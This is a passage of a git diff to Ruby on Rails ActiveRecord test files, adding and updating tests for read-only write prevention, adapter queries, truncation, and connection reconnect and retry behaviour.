+          @connection.insert("INSERT INTO subscribers(nick) VALUES ('138853948594')", nil, false)
+        end
+      end
+    end
+
+    def test_errors_when_an_update_query_is_called_while_preventing_writes
+      @connection.insert("INSERT INTO subscribers(nick) VALUES ('138853948594')")
+
+      ActiveRecord::Base.while_preventing_writes do
+        assert_raises(ActiveRecord::ReadOnlyError) do
+          @connection.update("UPDATE subscribers SET nick = '9989' WHERE nick = '138853948594'")
+        end
+      end
+    end
+
+    def test_errors_when_a_delete_query_is_called_while_preventing_writes
+      @connection.insert("INSERT INTO subscribers(nick) VALUES ('138853948594')")
+
+      ActiveRecord::Base.while_preventing_writes do
+        assert_raises(ActiveRecord::ReadOnlyError) do
+          @connection.delete("DELETE FROM subscribers WHERE nick = '138853948594'")
+        end
+      end
+    end
+
+    if current_adapter?(:PostgreSQLAdapter)
+      def test_doesnt_error_when_a_select_query_has_encoding_errors
+        ActiveRecord::Base.while_preventing_writes do
+          # Contrary to other adapters, PostgreSQL will eagerly fail on encoding errors.
+          # But at least we can assert it fails in the client and not before when trying to
+          # match the query.
+          assert_raises ActiveRecord::StatementInvalid do
+            @connection.select_all("SELECT '\xC8'")
+          end
+        end
+      end
+    else
+      def test_doesnt_error_when_a_select_query_has_encoding_errors
+        ActiveRecord::Base.while_preventing_writes do
+          assert_nothing_raised do
+            @connection.select_all("SELECT '\xC8'")
+          end
+        end
+      end
+    end
+
+    def test_doesnt_error_when_a_select_query_is_called_while_preventing_writes
+      @connection.insert("INSERT INTO subscribers(nick) VALUES ('138853948594')")
+
+      ActiveRecord::Base.while_preventing_writes do
+        result = @connection.select_all("SELECT subscribers.* FROM subscribers WHERE nick = '138853948594'")
+        assert_equal 1, result.length
+      end
+    end
+
+    if ActiveRecord::Base.lease_connection.supports_common_table_expressions?
+      def test_doesnt_error_when_a_read_query_with_a_cte_is_called_while_preventing_writes
+        @connection.insert("INSERT INTO subscribers(nick) VALUES ('138853948594')")
+
+        ActiveRecord::Base.while_preventing_writes do
+          result = @connection.select_all(<<~SQL)
+            WITH matching_subscribers AS (SELECT subscribers.* FROM subscribers WHERE nick = '138853948594')
+            SELECT * FROM matching_subscribers
+          SQL
+          assert_equal 1, result.length
+        end
+      end
+    end
+
+    def test_doesnt_error_when_a_select_query_starting_with_a_slash_star_comment_is_called_while_preventing_writes
+      @connection.insert("INSERT INTO subscribers(nick) VALUES ('138853948594')")
+
+      ActiveRecord::Base.while_preventing_writes do
+        result = @connection.select_all("/* some comment */ SELECT subscribers.* FROM subscribers WHERE nick = '138853948594'")
+        assert_equal 1, result.length
+      end
+    end
+
+    def test_errors_when_an_insert_query_prefixed_by_a_slash_star_comment_is_called_while_preventing_writes
+      ActiveRecord::Base.while_preventing_writes do
+        assert_raises(ActiveRecord::ReadOnlyError) do
+          @connection.insert("/* some comment */ INSERT INTO subscribers(nick) VALUES ('138853948594')", nil, false)
+        end
+      end
+    end
+
+    def test_doesnt_error_when_a_select_query_starting_with_double_dash_comments_is_called_while_preventing_writes
+      @connection.insert("INSERT INTO subscribers(nick) VALUES ('138853948594')")
+
+      ActiveRecord::Base.while_preventing_writes do
+        result = @connection.select_all("-- some comment\n-- comment about INSERT\nSELECT subscribers.* FROM subscribers WHERE nick = '138853948594'")
+        assert_equal 1, result.length
+      end
+    end
+
+    def test_errors_when_an_insert_query_prefixed_by_a_double_dash_comment_is_called_while_preventing_writes
+      ActiveRecord::Base.while_preventing_writes do
+        assert_raises(ActiveRecord::ReadOnlyError) do
+          @connection.insert("-- some comment\nINSERT INTO subscribers(nick) VALUES ('138853948594')", nil, false)
+        end
+      end
+    end
+
+    def test_errors_when_an_insert_query_prefixed_by_a_multiline_double_dash_comment_is_called_while_preventing_writes
+      ActiveRecord::Base.while_preventing_writes do
+        assert_raises(ActiveRecord::ReadOnlyError) do
+          Timeout.timeout(0.1) do # should be fast to parse the query
+            @connection.insert("#{"-- comment\n" * 50}INSERT INTO subscribers(nick) VALUES ('138853948594')", nil, false)
+          end
+        end
+      end
+    end
+
+    def test_errors_when_an_insert_query_prefixed_by_a_slash_star_comment_containing_read_command_is_called_while_preventing_writes
+      ActiveRecord::Base.while_preventing_writes do
+        assert_raises(ActiveRecord::ReadOnlyError) do
+          @connection.insert("/* SELECT */ INSERT INTO subscribers(nick) VALUES ('138853948594')", nil, false)
+        end
+      end
+    end
+
+    def test_errors_when_an_insert_query_prefixed_by_a_double_dash_comment_containing_read_command_is_called_while_preventing_writes
+      ActiveRecord::Base.while_preventing_writes do
+        assert_raises(ActiveRecord::ReadOnlyError) do
+          @connection.insert("-- SELECT\nINSERT INTO subscribers(nick) VALUES ('138853948594')", nil, false)
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/adapter_test.rb b/activerecord/test/cases/adapter_test.rb
index 0c9d1dff9d569..f75251f9439ce 100644
--- a/activerecord/test/cases/adapter_test.rb
+++ b/activerecord/test/cases/adapter_test.rb
@@ -1,4 +1,7 @@
+# frozen_string_literal: true
+
 require "cases/helper"
+require "support/connection_helper"
 require "models/book"
 require "models/post"
 require "models/author"
@@ -7,18 +10,30 @@
 module ActiveRecord
   class AdapterTest < ActiveRecord::TestCase
     def setup
-      @connection = ActiveRecord::Base.connection
+      @connection = ActiveRecord::Base.lease_connection
+      @connection.materialize_transactions
+    end
+
+    def test_type_map_is_ractor_shareable
+      # This is testing internals. Please feel free to remove this test
+      # or change it when internals change. The point is to make sure
+      # the type map is Ractor shareable.
+      @connection.tables.each do |table|
+        @connection.columns(table).each do |column|
+          assert_ractor_shareable @connection.send(:lookup_cast_type, column.sql_type)
+        end
+      end
     end
 
     ##
     # PostgreSQL does not support null bytes in strings
     unless current_adapter?(:PostgreSQLAdapter) ||
-        (current_adapter?(:SQLite3Adapter) && !ActiveRecord::Base.connection.prepared_statements)
+        (current_adapter?(:SQLite3Adapter) && !ActiveRecord::Base.lease_connection.prepared_statements)
       def test_update_prepared_statement
         b = Book.create(name: "my \x00 book")
         b.reload
         assert_equal "my \x00 book", b.name
-        b.update_attributes(name: "my other \x00 book")
+        b.update(name: "my other \x00 book")
         b.reload
         assert_equal "my other \x00 book", b.name
       end
@@ -30,6 +45,18 @@ def test_create_record_with_pk_as_zero
       assert_nothing_raised { Book.destroy(0) }
     end
 
+    def test_valid_column
+      @connection.native_database_types.each_key do |type|
+        assert @connection.valid_type?(type)
+        assert @connection.class.valid_type?(type)
+      end
+    end
+
+    def test_invalid_column
+      assert_not @connection.valid_type?(:foobar)
+      assert_not @connection.class.valid_type?(:foobar)
+    end
+
     def test_tables
       tables = @connection.tables
       assert_includes tables, "accounts"
@@ -66,18 +93,22 @@ def test_indexes
       idx_name = "accounts_idx"
 
       indexes = @connection.indexes("accounts")
-      assert indexes.empty?
+      assert_empty indexes
 
       @connection.add_index :accounts, :firm_id, name: idx_name
       indexes = @connection.indexes("accounts")
       assert_equal "accounts", indexes.first.table
       assert_equal idx_name, indexes.first.name
-      assert !indexes.first.unique
+      assert_not indexes.first.unique
       assert_equal ["firm_id"], indexes.first.columns
     ensure
       @connection.remove_index(:accounts, name: idx_name) rescue nil
     end
 
+    def test_returns_empty_indexes_for_non_existing_table
+      assert_equal [], @connection.indexes("nonexistingtable")
+    end
+
     def test_remove_index_when_name_and_wrong_column_name_specified
       index_name = "accounts_idx"
 
@@ -89,13 +120,57 @@ def test_remove_index_when_name_and_wrong_column_name_specified
       @connection.remove_index(:accounts, name: index_name)
     end
 
+    def test_remove_index_when_name_and_wrong_column_name_specified_positional_argument
+      index_name = "accounts_idx"
+
+      @connection.add_index :accounts, :firm_id, name: index_name
+      assert_raises ArgumentError do
+        @connection.remove_index :accounts, :wrong_column_name, name: index_name
+      end
+    ensure
+      @connection.remove_index(:accounts, name: index_name)
+    end
+
     def test_current_database
       if @connection.respond_to?(:current_database)
-        assert_equal ARTest.connection_config["arunit"]["database"], @connection.current_database
+        assert_equal ARTest.test_configuration_hashes["arunit"]["database"], @connection.current_database
+      else
+        skip
       end
     end
 
-    if current_adapter?(:Mysql2Adapter)
+    test "#exec_query queries with no result set return an empty ActiveRecord::Result" do
+      result = @connection.exec_query "INSERT INTO subscribers(nick) VALUES('me')"
+      assert_instance_of(ActiveRecord::Result, result)
+      assert_empty result.rows
+      assert_empty result.columns
+    end
+
+    test "#exec_query queries with an empty result set still return the columns" do
+      result = @connection.exec_query "SELECT * FROM subscribers WHERE 1=0"
+      assert_instance_of(ActiveRecord::Result, result)
+      assert_empty result.rows
+      assert_not_empty result.columns
+    end
+
+    test "#exec_query queries return an ActiveRecord::Result with affected rows" do
+      result = @connection.exec_query "INSERT INTO subscribers(nick, name) VALUES('me', 'me'), ('you', 'you')"
+      assert_equal 2, result.affected_rows
+
+      update_result = @connection.exec_query "UPDATE subscribers SET name = 'you' WHERE name = 'me'"
+      assert_equal 1, update_result.affected_rows
+
+      select_result = @connection.exec_query "SELECT * FROM subscribers"
+      assert_not_equal update_result.affected_rows, select_result.affected_rows
+
+      result = @connection.exec_query "DELETE FROM subscribers WHERE name = 'you'"
+      assert_equal 2, result.affected_rows
+
+      result = @connection.exec_query "DELETE FROM subscribers WHERE name = 'you'"
+      assert_equal 0, result.affected_rows
+    end
+
+    if current_adapter?(:Mysql2Adapter, :TrilogyAdapter)
       def test_charset
         assert_not_nil @connection.charset
         assert_not_equal "character_set_database", @connection.charset
@@ -113,19 +188,35 @@ def test_show_nonexistent_variable_returns_nil
       end
 
       def test_not_specifying_database_name_for_cross_database_selects
-        begin
-          assert_nothing_raised do
-            ActiveRecord::Base.establish_connection(ActiveRecord::Base.configurations["arunit"].except(:database))
-
-            config = ARTest.connection_config
-            ActiveRecord::Base.connection.execute(
-              "SELECT #{config['arunit']['database']}.pirates.*, #{config['arunit2']['database']}.courses.* " \
-              "FROM #{config['arunit']['database']}.pirates, #{config['arunit2']['database']}.courses"
-            )
-          end
-        ensure
-          ActiveRecord::Base.establish_connection :arunit
+        assert_nothing_raised do
+          db_config = ActiveRecord::Base.configurations.configs_for(env_name: "arunit", name: "primary")
+          ActiveRecord::Base.establish_connection(db_config.configuration_hash.except(:database))
+
+          config = ARTest.test_configuration_hashes
+          ActiveRecord::Base.lease_connection.execute(
+            "SELECT #{config['arunit']['database']}.pirates.*, #{config['arunit2']['database']}.courses.* " \
+            "FROM #{config['arunit']['database']}.pirates, #{config['arunit2']['database']}.courses"
+          )
         end
+      ensure
+        ActiveRecord::Base.establish_connection :arunit
+      end
+    end
+
+    unless in_memory_db? || current_adapter?(:TrilogyAdapter)
+      def test_disable_prepared_statements
+        original_prepared_statements = ActiveRecord.disable_prepared_statements
+        db_config = ActiveRecord::Base.configurations.configs_for(env_name: "arunit", name: "primary")
+        ActiveRecord::Base.establish_connection(db_config.configuration_hash.merge(prepared_statements: true))
+
+        assert_predicate ActiveRecord::Base.lease_connection, :prepared_statements?
+
+        ActiveRecord.disable_prepared_statements = true
+        ActiveRecord::Base.establish_connection(db_config.configuration_hash.merge(prepared_statements: true))
+        assert_not_predicate ActiveRecord::Base.lease_connection, :prepared_statements?
+      ensure
+        ActiveRecord.disable_prepared_statements = original_prepared_statements
+        ActiveRecord::Base.establish_connection :arunit
       end
     end
 
@@ -146,26 +237,6 @@ class << @connection
       end
     end
 
-    # test resetting sequences in odd tables in PostgreSQL
-    if ActiveRecord::Base.connection.respond_to?(:reset_pk_sequence!)
-      require "models/movie"
-      require "models/subscriber"
-
-      def test_reset_empty_table_with_custom_pk
-        Movie.delete_all
-        Movie.connection.reset_pk_sequence! "movies"
-        assert_equal 1, Movie.create(name: "fight club").id
-      end
-
-      def test_reset_table_with_non_integer_pk
-        Subscriber.delete_all
-        Subscriber.connection.reset_pk_sequence! "subscribers"
-        sub = Subscriber.new(name: "robert drake")
-        sub.id = "bob drake"
-        assert_nothing_raised { sub.save! }
-      end
-    end
-
     def test_uniqueness_violations_are_translated_to_specific_exception
       @connection.execute "INSERT INTO subscribers(nick) VALUES('me')"
       error = assert_raises(ActiveRecord::RecordNotUnique) do
@@ -194,23 +265,85 @@ def test_value_limit_violations_are_translated_to_specific_exception
 
       def test_numeric_value_out_of_ranges_are_translated_to_specific_exception
         error = assert_raises(ActiveRecord::RangeError) do
-          Book.connection.create("INSERT INTO books(author_id) VALUES (9223372036854775808)")
+          Book.lease_connection.create("INSERT INTO books(author_id) VALUES (9223372036854775808)")
         end
 
         assert_not_nil error.cause
       end
     end
 
+    def test_exceptions_from_notifications_are_not_translated
+      original_error = StandardError.new("This StandardError shouldn't get translated")
+      subscriber = ActiveSupport::Notifications.subscribe("sql.active_record") { raise original_error }
+      actual_error = assert_raises(StandardError) do
+        @connection.execute("SELECT * FROM posts")
+      end
+      assert_equal original_error, actual_error
+
+    ensure
+      ActiveSupport::Notifications.unsubscribe(subscriber) if subscriber
+    end
+
+    def test_database_related_exceptions_are_translated_to_statement_invalid
+      error = assert_raises(ActiveRecord::StatementInvalid) do
+        @connection.execute("This is a syntax error")
+      end
+
+      assert_instance_of ActiveRecord::StatementInvalid, error
+      assert_kind_of Exception, error.cause
+    end
+
     def test_select_all_always_return_activerecord_result
       result = @connection.select_all "SELECT * FROM posts"
       assert result.is_a?(ActiveRecord::Result)
     end
 
+    if ActiveRecord::Base.lease_connection.prepared_statements
+      def test_select_all_insert_update_delete_with_casted_binds
+        binds = [Event.type_for_attribute("id").serialize(1)]
+        bind_param = Arel::Nodes::BindParam.new(nil)
+
+        id = @connection.insert("INSERT INTO events(id) VALUES (#{bind_param.to_sql})", nil, nil, nil, nil, binds)
+        assert_equal 1, id
+
+        updated = @connection.update("UPDATE events SET title = 'foo' WHERE id = #{bind_param.to_sql}", nil, binds)
+        assert_equal 1, updated
+
+        result = @connection.select_all("SELECT * FROM events WHERE id = #{bind_param.to_sql}", nil, binds)
+        assert_equal({ "id" => 1, "title" => "foo" }, result.first)
+
+        deleted = @connection.delete("DELETE FROM events WHERE id = #{bind_param.to_sql}", nil, binds)
+        assert_equal 1, deleted
+
+        result = @connection.select_all("SELECT * FROM events WHERE id = #{bind_param.to_sql}", nil, binds)
+        assert_nil result.first
+      end
+
+      def test_select_all_insert_update_delete_with_binds
+        binds = [Relation::QueryAttribute.new("id", 1, Event.type_for_attribute("id"))]
+        bind_param = Arel::Nodes::BindParam.new(nil)
+
+        id = @connection.insert("INSERT INTO events(id) VALUES (#{bind_param.to_sql})", nil, nil, nil, nil, binds)
+        assert_equal 1, id
+
+        updated = @connection.update("UPDATE events SET title = 'foo' WHERE id = #{bind_param.to_sql}", nil, binds)
+        assert_equal 1, updated
+
+        result = @connection.select_all("SELECT * FROM events WHERE id = #{bind_param.to_sql}", nil, binds)
+        assert_equal({ "id" => 1, "title" => "foo" }, result.first)
+
+        deleted = @connection.delete("DELETE FROM events WHERE id = #{bind_param.to_sql}", nil, binds)
+        assert_equal 1, deleted
+
+        result = @connection.select_all("SELECT * FROM events WHERE id = #{bind_param.to_sql}", nil, binds)
+        assert_nil result.first
+      end
+    end
+
     def test_select_methods_passing_a_association_relation
       author = Author.create!(name: "john")
       Post.create!(author: author, title: "foo", body: "bar")
       query = author.posts.where(title: "foo").select(:title)
-      assert_equal({ "title" => "foo" }, @connection.select_one(query.arel, nil, query.bound_attributes))
       assert_equal({ "title" => "foo" }, @connection.select_one(query))
       assert @connection.select_all(query).is_a?(ActiveRecord::Result)
       assert_equal "foo", @connection.select_value(query)
@@ -220,7 +353,6 @@ def test_select_methods_passing_a_association_relation
     def test_select_methods_passing_a_relation
       Post.create!(title: "foo", body: "bar")
       query = Post.where(title: "foo").select(:title)
-      assert_equal({ "title" => "foo" }, @connection.select_one(query.arel, nil, query.bound_attributes))
       assert_equal({ "title" => "foo" }, @connection.select_one(query))
       assert @connection.select_all(query).is_a?(ActiveRecord::Result)
       assert_equal "foo", @connection.select_value(query)
@@ -231,24 +363,27 @@ def test_select_methods_passing_a_relation
       assert_equal "special_db_type", @connection.type_to_sql(:special_db_type)
     end
 
-    unless current_adapter?(:PostgreSQLAdapter)
-      def test_log_invalid_encoding
-        error = assert_raises RuntimeError do
-          @connection.send :log, "SELECT 'Ñ‹' FROM DUAL" do
-            raise "Ñ‹".force_encoding(Encoding::ASCII_8BIT)
-          end
-        end
+    test "inspect does not show secrets" do
+      output = @connection.inspect
 
-        assert_not_nil error.message
-      end
+      assert_match(/ActiveRecord::ConnectionAdapters::\w+:0x[\da-f]+ env_name="\w+" role=:writing>/, output)
     end
+
+    private
+      def assert_ractor_shareable(obj)
+        # rubocop:disable Minitest/AssertWithExpectedArgument
+        assert(Ractor.shareable?(obj), -> { "Expected #{obj} to be shareable, but it wasn't" })
+        # rubocop:enable Minitest/AssertWithExpectedArgument
+      end
   end
 
   class AdapterForeignKeyTest < ActiveRecord::TestCase
     self.use_transactional_tests = false
 
+    fixtures :fk_test_has_pk
+
     def setup
-      @connection = ActiveRecord::Base.connection
+      @connection = ActiveRecord::Base.lease_connection
     end
 
     def test_foreign_key_violations_are_translated_to_specific_exception_with_validate_false
@@ -265,7 +400,7 @@ def test_foreign_key_violations_are_translated_to_specific_exception_with_valida
       assert_not_nil error.cause
     end
 
-    def test_foreign_key_violations_are_translated_to_specific_exception
+    def test_foreign_key_violations_on_insert_are_translated_to_specific_exception
       error = assert_raises(ActiveRecord::InvalidForeignKey) do
         insert_into_fk_test_has_fk
       end
@@ -273,6 +408,16 @@ def test_foreign_key_violations_are_translated_to_specific_exception
       assert_not_nil error.cause
     end
 
+    def test_foreign_key_violations_on_delete_are_translated_to_specific_exception
+      insert_into_fk_test_has_fk fk_id: 1
+
+      error = assert_raises(ActiveRecord::InvalidForeignKey) do
+        @connection.execute "DELETE FROM fk_test_has_pk WHERE pk_id = 1"
+      end
+
+      assert_not_nil error.cause
+    end
+
     def test_disable_referential_integrity
       assert_nothing_raised do
         @connection.disable_referential_integrity do
@@ -285,14 +430,13 @@ def test_disable_referential_integrity
     end
 
     private
-
-      def insert_into_fk_test_has_fk
+      def insert_into_fk_test_has_fk(fk_id: 0)
         # Oracle adapter uses prefetched primary key values from sequence and passes them to connection adapter insert method
         if @connection.prefetch_primary_key?
           id_value = @connection.next_sequence_value(@connection.default_sequence_name("fk_test_has_fk", "id"))
-          @connection.execute "INSERT INTO fk_test_has_fk (id,fk_id) VALUES (#{id_value},0)"
+          @connection.execute "INSERT INTO fk_test_has_fk (id,fk_id) VALUES (#{id_value},#{fk_id})"
         else
-          @connection.execute "INSERT INTO fk_test_has_fk (fk_id) VALUES (0)"
+          @connection.execute "INSERT INTO fk_test_has_fk (fk_id) VALUES (#{fk_id})"
         end
       end
   end
@@ -300,32 +444,621 @@ def insert_into_fk_test_has_fk
   class AdapterTestWithoutTransaction < ActiveRecord::TestCase
     self.use_transactional_tests = false
 
-    class Klass < ActiveRecord::Base
-    end
+    fixtures :posts, :authors, :author_addresses
 
     def setup
-      Klass.establish_connection :arunit
-      @connection = Klass.connection
+      @connection = ActiveRecord::Base.lease_connection
     end
 
-    teardown do
-      Klass.remove_connection
+    def test_create_with_query_cache
+      @connection.enable_query_cache!
+
+      count = Post.count
+
+      @connection.create("INSERT INTO posts(title, body) VALUES ('', '')")
+
+      assert_equal count + 1, Post.count
+    ensure
+      reset_fixtures("posts")
+      @connection.disable_query_cache!
+    end
+
+    def test_truncate
+      assert_operator Post.count, :>, 0
+
+      @connection.truncate("posts")
+
+      assert_equal 0, Post.count
+    ensure
+      reset_fixtures("posts")
+    end
+
+    def test_truncate_with_query_cache
+      @connection.enable_query_cache!
+
+      assert_operator Post.count, :>, 0
+
+      @connection.truncate("posts")
+
+      assert_equal 0, Post.count
+    ensure
+      reset_fixtures("posts")
+      @connection.disable_query_cache!
+    end
+
+    def test_truncate_tables
+      assert_operator Post.count, :>, 0
+      assert_operator Author.count, :>, 0
+      assert_operator AuthorAddress.count, :>, 0
+
+      @connection.truncate_tables("author_addresses", "authors", "posts")
+
+      assert_equal 0, Post.count
+      assert_equal 0, Author.count
+      assert_equal 0, AuthorAddress.count
+    ensure
+      reset_fixtures("posts", "authors", "author_addresses")
+    end
+
+    def test_truncate_tables_with_query_cache
+      @connection.enable_query_cache!
+
+      assert_operator Post.count, :>, 0
+      assert_operator Author.count, :>, 0
+      assert_operator AuthorAddress.count, :>, 0
+
+      @connection.truncate_tables("author_addresses", "authors", "posts")
+
+      assert_equal 0, Post.count
+      assert_equal 0, Author.count
+      assert_equal 0, AuthorAddress.count
+    ensure
+      reset_fixtures("posts", "authors", "author_addresses")
+      @connection.disable_query_cache!
+    end
+
+    def test_empty_all_tables
+      assert_operator Post.count, :>, 0
+      assert_operator Author.count, :>, 0
+      assert_operator AuthorAddress.count, :>, 0
+
+      @connection.empty_all_tables
+
+      assert_equal 0, Post.count
+      assert_equal 0, Author.count
+      assert_equal 0, AuthorAddress.count
+    ensure
+      reset_fixtures("posts", "authors", "author_addresses")
     end
 
+    def test_empty_all_tables_with_query_cache
+      @connection.enable_query_cache!
+
+      assert_operator Post.count, :>, 0
+      assert_operator Author.count, :>, 0
+      assert_operator AuthorAddress.count, :>, 0
+
+      @connection.empty_all_tables
+
+      assert_equal 0, Post.count
+      assert_equal 0, Author.count
+      assert_equal 0, AuthorAddress.count
+    ensure
+      reset_fixtures("posts", "authors", "author_addresses")
+      @connection.disable_query_cache!
+    end
+
+    # test resetting sequences in odd tables in PostgreSQL
+    if ActiveRecord::Base.lease_connection.respond_to?(:reset_pk_sequence!)
+      require "models/movie"
+      require "models/subscriber"
+
+      def test_reset_empty_table_with_custom_pk
+        Movie.delete_all
+        Movie.lease_connection.reset_pk_sequence! "movies"
+        assert_equal 1, Movie.create(name: "fight club").id
+      end
+
+      def test_reset_table_with_non_integer_pk
+        Subscriber.delete_all
+        Subscriber.lease_connection.reset_pk_sequence! "subscribers"
+        sub = Subscriber.new(name: "robert drake")
+        sub.id = "bob drake"
+        assert_nothing_raised { sub.save! }
+      end
+    end
+
+    private
+      def reset_fixtures(*fixture_names)
+        ActiveRecord::FixtureSet.reset_cache
+
+        fixture_names.each do |fixture_name|
+          ActiveRecord::FixtureSet.create_fixtures(FIXTURES_ROOT, fixture_name)
+        end
+      end
+  end
+
+  class AdapterConnectionTest < ActiveRecord::TestCase
     unless in_memory_db?
-      test "transaction state is reset after a reconnect" do
+      self.use_transactional_tests = false
+
+      fixtures :posts, :authors, :author_addresses
+
+      def setup
+        @connection = ActiveRecord::Base.lease_connection
+        assert_predicate @connection, :active?
+      end
+
+      def teardown
+        @connection.reconnect!
+        assert_predicate @connection, :active?
+        assert_not_predicate @connection, :transaction_open?
+        assert_not raw_transaction_open?(@connection)
+      end
+
+      test "reconnect after a disconnect" do
+        @connection.disconnect!
+        assert_not_predicate @connection, :active?
+        @connection.reconnect!
+        assert_predicate @connection, :active?
+      end
+
+      test "materialized transaction state is reset after a reconnect" do
         @connection.begin_transaction
-        assert @connection.transaction_open?
+        assert_predicate @connection, :transaction_open?
+        @connection.materialize_transactions
+        assert raw_transaction_open?(@connection)
         @connection.reconnect!
-        assert !@connection.transaction_open?
+        assert_not_predicate @connection, :transaction_open?
+        assert_not raw_transaction_open?(@connection)
+      end
+
+      test "materialized transaction state can be restored after a reconnect" do
+        @connection.begin_transaction
+        assert_predicate @connection, :transaction_open?
+        @connection.materialize_transactions
+        assert raw_transaction_open?(@connection)
+        @connection.reconnect!(restore_transactions: true)
+        assert_predicate @connection, :transaction_open?
+        assert raw_transaction_open?(@connection)
       end
 
-      test "transaction state is reset after a disconnect" do
+      test "materialized transaction state is reset after a disconnect" do
         @connection.begin_transaction
-        assert @connection.transaction_open?
+        assert_predicate @connection, :transaction_open?
+        @connection.materialize_transactions
+        assert raw_transaction_open?(@connection)
         @connection.disconnect!
-        assert !@connection.transaction_open?
+        assert_not_predicate @connection, :transaction_open?
+      end
+
+      test "unmaterialized transaction state is reset after a reconnect" do
+        @connection.begin_transaction
+        assert_predicate @connection, :transaction_open?
+        assert_not raw_transaction_open?(@connection)
+        @connection.reconnect!
+        assert_not_predicate @connection, :transaction_open?
+        assert_not raw_transaction_open?(@connection)
+        @connection.materialize_transactions
+        assert_not raw_transaction_open?(@connection)
+      end
+
+      test "unmaterialized transaction state can be restored after a reconnect" do
+        @connection.begin_transaction
+        assert_predicate @connection, :transaction_open?
+        assert_not raw_transaction_open?(@connection)
+        @connection.reconnect!(restore_transactions: true)
+        assert_predicate @connection, :transaction_open?
+        assert_not raw_transaction_open?(@connection)
+        @connection.materialize_transactions
+        assert raw_transaction_open?(@connection)
+      end
+
+      test "unmaterialized transaction state is reset after a disconnect" do
+        @connection.begin_transaction
+        assert_predicate @connection, :transaction_open?
+        assert_not raw_transaction_open?(@connection)
+        @connection.disconnect!
+        assert_not_predicate @connection, :transaction_open?
+      end
+
+      test "active? detects remote disconnection" do
+        remote_disconnect @connection
+        assert_not_predicate @connection, :active?
+      end
+
+      test "verify! restores after remote disconnection" do
+        remote_disconnect @connection
+        @connection.verify!
+        assert_predicate @connection, :active?
+      end
+
+      test "reconnect! restores after remote disconnection" do
+        remote_disconnect @connection
+        @connection.reconnect!
+        assert_predicate @connection, :active?
+      end
+
+      test "querying a 'clean' long-failed connection restores and succeeds" do
+        remote_disconnect @connection
+
+        @connection.clean! # this simulates a fresh checkout from the pool
+
+        # Backdate last activity to simulate a connection we haven't used in a while
+        @connection.instance_variable_set(:@last_activity, Process.clock_gettime(Process::CLOCK_MONOTONIC) - 5.minutes)
+
+        # Clean did not verify / fix the connection
+        assert_not_predicate @connection, :active?
+
+        # Because the connection hasn't been verified since checkout,
+        # and the query cannot safely be retried, the connection will be
+        # verified before querying.
+        Post.delete_all
+
+        assert_predicate @connection, :active?
+      end
+
+      test "querying a 'clean' recently-used but now-failed connection skips verification" do
+        remote_disconnect @connection
+
+        @connection.clean! # this simulates a fresh checkout from the pool
+
+        # Clean did not verify / fix the connection
+        assert_not_predicate @connection, :active?
+
+        # Because the query cannot be retried, and we (mistakenly) believe the
+        # connection is still good, the query will fail. This is what we want,
+        # because the alternative would be excessive reverification.
+        assert_raises(ActiveRecord::AdapterError) do
+          Post.delete_all
+        end
+      end
+
+      test "quoting a string on a 'clean' failed connection will not prevent reconnecting" do
+        remote_disconnect @connection
+
+        @connection.clean! # this simulates a fresh checkout from the pool
+
+        # Backdate last activity to simulate a connection we haven't used in a while
+        @connection.instance_variable_set(:@last_activity, Process.clock_gettime(Process::CLOCK_MONOTONIC) - 5.minutes)
+
+        # Clean did not verify / fix the connection
+        assert_not_predicate @connection, :active?
+
+        # Quote string will not verify a broken connection (although it may
+        # reconnect in some cases)
+        Post.lease_connection.quote_string("")
+
+        # Because the connection hasn't been verified since checkout,
+        # and the query cannot safely be retried, the connection will be
+        # verified before querying.
+        Post.delete_all
+
+        assert_predicate @connection, :active?
+      end
+
+      test "querying after a failed non-retryable query restores and succeeds" do
+        Post.first # Connection verified (and prepared statement pool populated if enabled)
+
+        remote_disconnect @connection
+
+        assert_raises(ActiveRecord::ConnectionFailed) do
+          @connection.execute("INSERT INTO posts(title, body) VALUES ('foo', 'bar')")
+        end
+
+        assert Post.first # Verifying the connection causes a reconnect and the query succeeds
+        assert_predicate @connection, :active?
+      end
+
+      test "idempotent SELECT queries allow retries" do
+        notifications = capture_notifications("sql.active_record") do
+          assert (a = Author.first)
+          assert Post.where(id: [1, 2]).first
+          assert Post.where(Arel.sql("id IN (1,2)", retryable: true)).first
+          assert Post.find(1)
+          assert Post.find_by(title: "Welcome to the weblog")
+          assert_predicate Post, :exists?
+          a.books.to_a
+          Author.select(:status).joins(:books).group(:status).to_a
+          Author.group(:name).count
+        end.select { |n| n.payload[:name] != "SCHEMA" }
+
+        assert_equal 9, notifications.length
+
+        notifications.each do |n|
+          assert n.payload[:allow_retry], "#{n.payload[:sql]} was not retryable"
+        end
+      end
+
+      test "query cacheable idempotent SELECT queries allow retries" do
+        @connection.enable_query_cache!
+
+        notifications = capture_notifications("sql.active_record") do
+          assert_not_nil (a = Author.first)
+          assert_not_nil Post.where(id: [1, 2]).first
+          assert Post.where(Arel.sql("id IN (1,2)", retryable: true)).first
+          assert_not_nil Post.find(1)
+          assert_not_nil Post.find_by(title: "Welcome to the weblog")
+          assert_predicate Post, :exists?
+          a.books.to_a
+          Author.select(:status).joins(:books).group(:status).to_a
+          Author.group(:name).count
+        end.select { |n| n.payload[:name] != "SCHEMA" }
+
+        assert_equal 9, notifications.length
+
+        notifications.each do |n|
+          assert n.payload[:allow_retry], "#{n.payload[:sql]} was not retryable"
+        end
+      ensure
+        @connection.disable_query_cache!
       end
+
+      test "queries containing SQL fragments do not allow retries" do
+        notifications = capture_notifications("sql.active_record") do
+          Post.where("1 = 1").to_a
+          Post.select("title AS custom_title").first
+          Book.find_by("updated_at < ?", 2.weeks.ago)
+        end.select { |n| n.payload[:name] != "SCHEMA" }
+
+        assert_equal 3, notifications.length
+
+        notifications.each do |n|
+          assert_not n.payload[:allow_retry]
+        end
+      end
+
+      test "queries containing SQL functions do not allow retries" do
+        tags_count_attr = Post.arel_table[:tags_count]
+        abs_tags_count = Arel::Nodes::NamedFunction.new("ABS", [tags_count_attr])
+
+        notifications = capture_notifications("sql.active_record") do
+          Post.where(abs_tags_count.eq(2)).first
+        end.select { |n| n.payload[:name] != "SCHEMA" }
+
+        assert_equal 1, notifications.length
+
+        notifications.each do |n|
+          assert_not n.payload[:allow_retry]
+        end
+      end
+
+      test "transaction restores after remote disconnection" do
+        remote_disconnect @connection
+        Post.transaction do
+          Post.count
+        end
+        assert_predicate @connection, :active?
+      end
+
+      test "active transaction is restored after remote disconnection" do
+        assert_operator Post.count, :>, 0
+        Post.transaction do
+          @connection.materialize_transactions
+          remote_disconnect @connection
+
+          # Regular queries are not retryable, so the only abstract operation we can
+          # perform here is a direct verify. The outer transaction means using another
